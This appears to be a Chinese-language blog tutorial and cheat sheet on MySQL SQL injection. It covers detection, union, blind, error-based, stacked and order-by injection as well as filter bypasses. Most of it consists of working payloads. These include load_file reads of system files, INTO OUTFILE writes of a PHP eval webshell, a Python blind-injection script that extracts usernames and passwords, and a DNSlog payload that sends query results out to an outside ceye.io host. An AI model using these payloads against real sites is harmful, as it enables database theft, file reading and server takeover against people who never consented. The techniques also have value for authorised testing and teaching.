SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。
首先来看一下基本的SQL语句查询原码:
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"
这里的 $id
参数是我们提交的变量,如果我们对这个参数没有做检查或者没有十分严格的过滤时,就可能存在SQL注入的漏洞。
比如
id = 1' and '1' = '
这时候带入到原码中的内容就是
SELECT * FROM users WHERE id='1' and '1' = '1' LIMIT 0,1
通过对$id
的构造,数据库能输出攻击者想要获取的内容,从而导致了数据库内容的泄露。
在开始进行注入测试时,需要掌握数据库基本的语法,以及一些注入过程中常用的函数
system_user()——系统用户名
user()——用户名
current_user()——当前用户名
session_user()——链接数据库的用户名
database()——数据库名
version()——数据库版本
@@datadir——数据库路径
@@basedir——数据库安装路径
@@version_compile_os——操作系统
@@spid–数据库中的sessionID
concat(str1,str2,…)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据。
构造注入语句需要注释符来把查询语句后面的语句给屏蔽掉,mysql常用的注释符为:
#
--
联合查询是可合并多个相似的选择查询的结果集。union 前后的两个 sql 语句的选择列数要相同才可以。UNION等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并。
基本语法:
SELECT 语句 UNION[union选项] SELECT 语句;
union选项 | 描述 |
---|---|
Distinct | 去重,去掉完全重复的数据(默认的) |
All | 保存所有的结果 |
在mysql中order by是用来根据校对规则对数据进行排序
基本语法:
order by 字段 [asc|desc]; //asc升序,默认的
并且order by还可以多字段排序,先按照第一个字段进行排序,然后再按照第二个字段进行排序。
因此在sql注入中可以通过order by来判断表中有多少字段,并且并不需要知道字段的名字是什么,通过数字1、2、3等也可以排序,因为在mysql中字段的名字也可以用过1、2、3等来表示。
在注入脚本中经常需要字符串与数字之间的相互转换。
ASCII()
:返回字符的 ASCII 码值CHAR()
:把整数转换为对应的字符mysql数据库中存在一个名为 information_schema
的基本库,里面存放了所有的库的基本信息,SQL注入的流程基本就是不断地构造语句查询information_schema
库中的信息。
Load_file(file_name)
:读取文件并返回该文件的内容作为一个字符串
使用条件:
and (select count(*) from mysql.user)>0# 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0# 返回错误,应该是管理员给数据库帐户降权
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users 就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决:
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
example:
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
# 利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用
select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
# “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
select 1,1,1,load_file(0x633a2f626f6f742e696e69)
# “c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
select 1,1,1,load_file(c:\\boot.ini)
# 路径里的/用 \\代替
LOAD DATA INFILE
语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。
在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用 load data infile
导入到数据库中。
example:
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将/tmp/t0.txt
导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是 每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑 /tmp
等文件夹。
SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name
不能是一个已经存在的文件。
我们一般有两种利用形式:
Select version() into outfile "c:\\phpnow\\htdocs\\test.php"
此处将 version()
替换成一句话,也即
Select <?php @eval($_post[“cmd”])?> into outfile "c:\\phpnow\\htdocs\\test.php"
直接连接一句话就可以了,其实在 select
内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16 进制文件
解释:通常是用\r\n
结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY 16 进制可以为一句话或者其他任何的代码,可自行构造。
load_file()
,但是当前台无法导出数据的时候,我们可以利用下面的语 句:select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'
可以利用该语句将服务器当中的内容导入到 web 服务器下的目录,这样就可以得到数据了。 上述 my.ini
当中存在 password 项(不过默认被注释),当然会有很多的内容可以被导出来, 这个要平时积累。
在对数据进行处理上,我们经常用到的是增删查改。接下来我们讲解一下 mysql 的增删改。 查就是我们上述总用到的 select
,这里就不介绍了。
增加一行数据,example:
insert into users values ('16','lcamry','lcamry');
example:
update users set username='tt' where id=15
寻找SQL注入漏洞有一种很简单的方法,就是通过发送特殊的数据来触发异常。
首先我们需要了解数据是通过什么方式进行输入,这里我总结了三个:
然后我们需要判断数据是什么类型,在mysql中,通常的两种数据类型是数字型和字符型。
字符型
?id=1' and '1' = '1 --+ //正常
?id=1' and '1' = '2 --+ //报错
或者
?id=1" and "1" = "1 --+ //正常
?id=1" and "1" = "2 --+ //报错
数字型
?id=1 and 1 = 1 --+ //正常
?id=1 and 1 = 2 --+ //报错
或者
?id=1 and 1 like 1 --+ //正常
?id=1 and 1 like 2 --+ //报错
回显的意思是,数据库会返回我们查询语句结果的具体内容,回显注入最基本的注入方式。
联合注入使用union
,union
的作用是将两个 sql 语句进行联合。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)
查询字段数目主要利用MySQL里面的 order by
来判断字段数目,order by
一般采用数学中的二分法来进行判断具体的字段数目,这样效率会很高,下面假设用 order by
来判断一个未知字段的注入。
?id=1’ order by 1 –+ 此时页面正常,继续换更大的数字测试
?id=1’ order by 10 –+ 此时页面返回错误,更换小的数字测试
?id=1’ order by 5 –+ 此时页面依然报错,继续缩小数值测试
?id=1’ order by 3 –+ 此时页面返回正常,更换大的数字测试
?id=1’ order by 4 –+ 此时页面返回错误,3正常,4错误,说明字段数目就是 3
id=-1' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
# 或者
id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+
id=-1' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' --+
id=-1' UNION SELECT 1,2,group_concat(字段名,字段名...) from 库名.表名 --+
利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。
SELECT "" INTO outfile "绝对路径"
有时候会存在开发者将mysql的信息屏蔽,攻击者无法正常得到正常的mysql的回显,只回显正确或者错误两种提示。这个时候就需要用到盲注的技巧。
主要的盲注技巧有两种:布尔盲注以及时间盲注。
在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也称为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。
从字符串 s 的 n 位置截取长度为 len 的子字符串
从字符串 s 的 start 位置截取长度为 length 的子字符串
返回字符串 s 的前 n 个字符
返回字符串 s 的第一个字符的 ASCII 码。这里不考虑多字节字符,比如汉字
字符 | ASCII码-10进制 | 字符 | ASCII码-10进制 | |
---|---|---|---|---|
a | 97 | ==> | z | 122 |
A | 65 | ==> | Z | 90 |
0 | 48 | ==> | 9 | 57 |
_ | 95 | @ | 64 |
该表是常见字符的ascii码,可见范围是[48,122]
用在select查询当中,当做一种条件来进行判断
下表中的正则模式可应用于 REGEXP 操作符中。
模式 | 模式 |
---|---|
^ | 匹配输入字符串的开始位置。 |
$ | 匹配输入字符串的结束位置。 |
. | 匹配除 “\n” 之外的任何单个字符。 |
[…] | 字符集合。匹配所包含的任意一个字符。 |
[^…] | 负值字符集合。匹配未包含的任意字符。 |
p1|p2|p3 | 匹配 p1 或 p2 或 p3。 |
* | 匹配前面的子表达式零次或多次。 |
+ | 匹配前面的子表达式一次或多次。 |
{n} | n 是一个非负整数。匹配确定的 n 次。 |
{n,m} | m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。 |
example:
#查找name字段中以'st'为开头的所有数据:
SELECT name FROM person_tbl WHERE name REGEXP '^st';
# 查找name字段中以元音字符开头或以'ok'字符串结尾的所有数据:
SELECT name FROM person_tbl WHERE name REGEXP '^[aeiou]|ok$';
LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式。
在 SQL 中,可使用以下通配符:
通配符 | 描述 |
---|---|
% | 替代 0 个或多个字符 |
_ | 替代一个字符 |
[charlist] | 字符列中的任何单一字符 |
[^charlist]或[!charlist] | 不在字符列中的任何单一字符 |
example:
# 选取 url 以字母 "https" 开始的所有网站:
SELECT * FROM Websites WHERE url LIKE 'https%';
# 选取 name 以 "G" 开始,然后是一个任意字符,然后是 "o",然后是一个任意字符,然后是 "le" 的所有网站:
SELECT * FROM Websites WHERE name LIKE 'G_o_le';
布尔盲注就是可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
example:
?id=1' AND ASCII(SUBSTR(database(),1,1))>88#
# 判断当前数据库名字的第一个字符的ascii码是否大于88
?id=1 AND 1=(IF((user() REGEXP '^r'),1,0))#
# 正则匹配user表中的所有数据,是否存在以r开头的数据,有则返回1,无则返回0,再与前面的1=相比较,如果是返回1则不会报错,否则报错
判断数据库名称的长度==》判断数据库名字
猜测表的个数==》猜解表名的长度==》猜测表名
猜解users表中字段个数==》猜解users表中字段的长度==》猜解users表中字段的名字
猜解users表中有多少条数据==》猜解users表中字段值的长度==》猜解users表中字段值
import requests
url = ""
flag = ''
def payload(i, j):
# 查表名
# sql = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,2,3)" % (i, j)
# 查数据
sql = "if(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d,2,3)" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "CREATOR" in r.text: #根据返回内容判断
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 50):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
时间的盲注就是通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()
函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
example:
# 如果当前数据库名字的长度大于10的话,就沉睡5秒再输出,否则就就直接输出
?id=1' AND IF(LENGTH(database())>10,SLEEP(5),null)#
还有一种是使用 benchmark(count,expr)
函数,用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu 资源。推荐使用sleep()
函数进行注入。
example:
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;
通过DNSlog盲注需要用的load_file()
函数,所以一般得是root权限。先show variables like '%secure%';
查看load_file()
可以读取的磁盘。
mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)
这里为NULL,因此需要在my.ini
配置文件中修改权限,把配置文件中的这一行改为(没有就加上):
secure_file_priv=""
UNC路径
以下是百度的UNC路径的解释
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式\\sss.xxx\test\
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据
payload:
SELECT LOAD_FILE(CONCAT('\\\\',(查询语句),'.t6n089.ceye.io\\abc'));
example:
在本地搭建了一个SQL注入的环境,在XP系统上似乎不行,原因未知,而在WIN10能够成功执行。
http://127.0.0.1:81/db.php?id=' and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.t6n089.ceye.io\\abc')))--+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T08tt4Xy-1637256965426)(data:image/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+)]
Stacked injections(堆叠注入)指的是多条SQL注入语句一起使用,可以做到联合查询等无法做到的事情,例如删添改查其他数据表等等。
example:
# 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
?id=1';EDLETE FROM products
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的 sql 语句,但是这种注入方式并不是十分的完美的。在我们的 web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。 因此,在读取数据时,我们建议使用 union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。
MYSQL报错注入个人认为大体可以分为以下几类:
这里可以看到mysql是怎么处理整形的:Integer Types (Exact Value),如下表:
Type | Storage | Minimum Value | Maximum Value |
---|---|---|---|
(Bytes) | (Signed/Unsigned) | (Signed/Unsigned) | |
TINYINT | 1 | -128 | 127 |
0 | 255 | ||
SMALLINT | 2 | -32768 | 32767 |
0 | 65535 | ||
MEDIUMINT | 3 | -8388608 | 8388607 |
0 | 16777215 | ||
INT | 4 | -2147483648 | 2147483647 |
0 | 4294967295 | ||
BIGINT | 8 | -9223372036854775808 | 9223372036854775807 |
0 | 18446744073709551615 |
在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow](https://dev.mysql.com/doc/refman/5.5/en/out-of-range-and-overflow.html),只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:
mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select !(select * from (select user())x);
+-----------------------------------+
| !(select * from (select user())x) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.01 sec)
mysql> select !(select * from (select user())x)+1;
+-------------------------------------+
| !(select * from (select user())x)+1 |
+-------------------------------------+
| 2 |
+-------------------------------------+
1 row in set (0.00 sec)
同理,利用exp函数也会产生类似的溢出错误:
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
注入姿势:
mysql> select exp(~(select * from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
利用这一特性,再结合之前说的溢出报错,就可以进行注入了。这里需要说一下,经笔者测试,发现在mysql5.5.47可以在报错中返回查询结果:
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
而在mysql>5.5.53时,则不能返回查询结果
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))'
此外,报错信息是有长度限制的,在mysql/my_error.c
中可以看到:
/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:
mysql> select extractvalue(1,'/a/b');
+------------------------+
| extractvalue(1,'/a/b') |
+------------------------+
| |
+------------------------+
1 row in set (0.01 sec)
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
这里利用到了count()
和group by
在遇到rand()
产生的重复值时报错的思路。网上比较常见的payload是这样的:
mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key ''
可以看到错误类型是duplicate entry,即主键重复。实际上只要是count
,rand()
,group by
三个连用就会造成这种报错,与位置无关:
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key ''
这种报错方法的本质是因为floor(rand(0)*2)
的重复性,导致group by语句出错。这里最关键的及时要理解group by函数的工作过程。group by key
在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)
如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)
结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
举个例子,表中数据如下:
mysql> select * from test;
+------+-------+
| id | name |
+------+-------+
| 0 | jack |
| 1 | jack |
| 2 | tom |
| 3 | candy |
| 4 | tommy |
| 5 | jerry |
+------+-------+
6 rows in set (0.00 sec)
我们以select count(*) from test group by name
语句说明大致过程如下:
key | count(*) |
---|---|
key | count(*) |
---|---|
jack | 1 |
key | count(*) |
---|---|
jack | 1+1 |
key | count(*) |
---|---|
jack | 1+1 |
tom | 1 |
key | count(*) |
---|---|
jack | 1+1 |
tom | 1 |
candy | 1 |
当这个操作遇到rand(0)*2
时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0):
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
mysql> select rand(0) from test;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)
同理,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要):
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
回到之前的group by语句上,我们将其改为select count(*) from test group by floor(rand(0)*2)
,看看每一步是什么情况:
key | count(*) |
---|---|
floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2)
,将结果1(第二次计算)插入虚表,如下:key | count(*) |
---|---|
1 | 1 |
floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count(*)
值加1,如下:key | count(*) |
---|---|
1 | 1+1 |
floor(rand(0)*2)
,发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2)
,结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key ''
整个查询过程中,floor(rand(0)*2)
被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。
另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()*2)
产生的序列是不可测的,这样可能会出现正常插入无法报错的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,后面查到了0、1,就会直接更新,也就没办法报错,因为floor(rand()*2)
在更新时是不会被计算的,也就不再被计算做为虚表的键值,这也就是为什么不加随机数种子有时候会报错,有时候不会报错的原因。
mysql> select floor(rand(1)*2) from test;
+------------------+
| floor(rand(1)*2) |
+------------------+
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
mysql> select count(*) from test group by floor(rand(1)*2);
+----------+
| count(*) |
+----------+
| 3 |
| 3 |
+----------+
2 rows in set (0.00 sec)
mysql列名重复会报错,我们利用name_const
来制造一个列:
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'
根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。
利用这个特性加上join函数可以爆列名:
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
mysql有些几何函数,例如geometrycollection()
,multipoint()
,polygon()
,multipolygon()
,linestring()
,multilinestring()
,这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:
5.5.47
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;二阶注入类似存
储型XSS,是指输入提交的语句,无法直接对WEB 应用程序产生影响,通过其它的辅助间
接的对WEB 产生危害,这样的就被称为是二阶注入。
二次排序注入思路:
order by 注入指的是用户传入的参数插入在查询语句的 order by 后面的位置,不同于常见的 where 后的注入点,order by 不能使用 union 等进行注入。
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 dasc
rand(ture) 和 rand(false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload
此外 rand() 结果是一直都是随机的
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
这种方式均可以延时,延时的时间为 (行数*1) 秒
?sort=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))
利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
?sort=1 into outfile "/var/www/html/less46.txt"
如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。
利用导出文件 getshell:
使用lines terminated by 姿势用于 order by 的情况来 getsgell:
?sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e 是
的十六进制编码。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wH5aP6kE-1637256965428)(data:image/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+)]
常见的绕过姿势有两种。
第一种是替换关键字,这种方式我们可以直接通过双写关键词等方式来进行绕过;
第二种是关键词直接拦截,这种情况下我们可以通过变换函数等方式来进行绕过。
大部分的SQL语句都用到了空格,如果空格被拦截或者过滤,可以尝试以下方法:
/**/
即SQL语句中的注释语句来绕过。%20
→ %2%200
)。where id=0e1union select 1,2
%09 %0a %0b %0c %0d
。%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
这里是fuzz脚本:
import requests
for i in range(256):
url = "http://0.0.0.0:6555/1.php" //这里是fuzz的地址
querystring = {"id": "1%sor%s1=1" % (chr(i), chr(i))}
payload = ""
headers = {
'cache-control': "no-cache",
'Postman-Token': "ad28b8ea-268a-449a-b7cd-f6261250d766"
}
response = requests.request("GET", url, data=payload, headers=headers, params=querystring)
if response.text.find("DSCTF2") != -1:
print(i)
这里列出了数据库中一些常见的可以用来绕过空格过滤的空白字符:
数据库 | 空白字符 |
---|---|
SQLite3 | 0A 0D 0C 09 20 |
MYSQL5 | 09 0A 0B 0C 0D A0 20 |
PosgresSQL | 0A 0D 0C 09 20 |
Oracle 11g | 00 0A 0D 0C 09 20 |
MSSQL | 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 |
拦截逗号后,意味着大部分的联合查询注入都失效,这个时候可以尝试进行盲注。
substring
和if
语句都用到了逗号,因此无法使用。
substring
可以用substr()
函数来进行代替,if语句可以通过and语句来进行代替。
?id=1 AND ascii(substr((SELECT database()) FROM 1 FOR
1))>115
其中
substr(SELECT database()) FROM 1 TO 1
返回database()中的第一个字符,可以通过脚本递增,来返回database中的所有字符;然后将ascii码进行比较,如果大于115,则则语句为真,id正常回显,否则不正常回显。
通过这种方法,通常引出二分法,便于快速筛出字符串。
除了以上方法,也可以通过join的语法来进行绕过。
?id=1 union select * from (select 1)a join (select database())b
当引号存在过滤和转义的情况下,可以这样处理:
比较典型的使用编码就是GBK编码:使用前面的字符吃掉后面的字符(斜杆)。
原理:MYSQL在使用GBK编码的时候,会认为两个字符为一个汉字,,例如%aa%5c
就是一个 汉字(前一个 ascii 码大于 128 才能到汉字的范围)。
id=1%df' union select 1,database()#
转义后传入的id:
1 %df\‘ => 1%df%5c’=> 1�’
\
绕过当在登录时使用的是如下SQL语句:
select user from user where user='$_POST[username]' and password='$_POST[password]';
在这里单引号被过滤了,但是反斜杠\
并没有被过滤。则单引号可以被转义
输入的用户名以反斜杠\
结尾
username=admin\&password=123456#
# 将这个拼接进去,\就可以将第2个单引号转义掉
select * from users where username='admin\' and password='123456#';
# 这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体
# 接下来构造password为or 2>1#
select * from users where username='admin\' and password=' or 2>1#';
# 上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注
将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ‘。
可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:
echo \'|iconv -f utf-8 -t utf-16
��'
echo \'|iconv -f utf-8 -t utf-32
��'
数字被屏蔽时,用响应函数结果来构造。
当等于等号=
过滤时,可以使用:like
,in
等字符替换
?id=1' or '1' IN ('1234')#
?id=1' or 1 like 1#
